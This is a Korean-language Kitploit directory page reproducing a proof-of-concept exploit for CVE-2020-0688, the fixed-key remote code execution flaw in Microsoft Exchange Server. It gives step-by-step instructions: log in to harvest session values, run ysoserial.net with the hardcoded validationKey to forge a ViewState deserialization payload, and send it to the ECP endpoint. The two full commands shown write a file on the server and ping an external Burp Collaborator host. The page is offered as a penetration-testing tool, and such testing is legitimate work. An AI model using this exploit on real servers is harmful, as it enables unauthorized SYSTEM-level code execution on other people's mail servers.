Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-0688 — [CVE-2020-0688] Microsoft Exchange Server 고정 암호화 키 원격 코드 실행 (RCE) | Kitploit
도구/GitHubGitHub/murataydemir/cve-2020-0688
Payload GenerationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubmurataydemir/cve-2020-0688

CVE-2020-0688

[CVE-2020-0688] Microsoft Exchange Server 고정 암호화 키 원격 코드 실행 (RCE)

저장소 보기
415년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

[CVE-2020-0688] Microsoft Exchange Server 고정 암호화 키 원격 코드 실행 (RCE)


각 설치에 대해 무작위로 생성된 키를 사용하는 대신, 모든 Microsoft Exchange Server 설치에는 web.config에 동일한 validationKey 및 decryptionKey 값이 있습니다. 따라서 인증된 공격자는 서버를 속여 악의적으로 조작된 ViewState 데이터를 역직렬화하도록 만들 수 있습니다. YSoSerial.net의 도움으로 공격자는 SYSTEM 권한으로 실행되는 Exchange Control Panel (ECP) 웹 애플리케이션의 컨텍스트에서 서버에서 임의의 .NET 코드를 실행할 수 있습니다.

1단계: 다음 엔드포인트 중 하나를 방문하여 인증 페이지에 접근합니다

  • http(s)://exchangeserver/owa
  • http(s)://exchangeserver/owa/auth.owa
  • http(s)://exchangeserver/owa/auth/logon.aspx
  • http(s)://exchangeserver/ecp
  • http(s)://exchangeserver/ecp/default.aspx

2단계: 자격 증명으로 로그인하고(사용자 계정 권한에 관계없이), HTTP 응답 쿠키와 HTTP 응답 본문에서 각각 유효한 ASP_NET_SessionId 및 __VIEWSTATEGENERATOR 값을 가져옵니다. 예를 들어

  • ASP_NET_SessionId: 05ae4b41-51e1-4c3a-9241-6b87b169d663
  • __VIEWSTATEGENERATOR: B97B4E27
  • validationKey (고정): CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
  • validationalg (고정): SHA1

3단계: 페이로드를 생성하려면(취약점 확인용), YSoSerial.net을 사용합니다

피해자 Exchange 서버에 접근할 수 있다면, C:\ 디렉터리에 PoC.txt라는 이름의 텍스트 파일을 생성하는 다음 페이로드를 사용할 수 있습니다

root@kitploit:~
PS C:\>ysoserial.net\ysoserial\bin\Release\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo OOOPS!!! > c:/PoC.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy

그러나 서버에 접근할 수 없다면 다음이 더 나을 수 있습니다.

root@kitploit:~
PS C:\>ysoserial.net\ysoserial\bin\Release\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping xxxxxxxx..burpcollaborator.net" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy

4단계: 4단계 후에는 URL 인코딩된 ViewState 페이로드를 갖게 됩니다. 아래 엔드포인트에 다음 형식으로 GET 요청을 보냅니다.

root@kitploit:~
http(s)://exchangeserver/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState_Payload>

원본 블로그 게시물은 여기에서 확인할 수 있습니다

도구 다운로드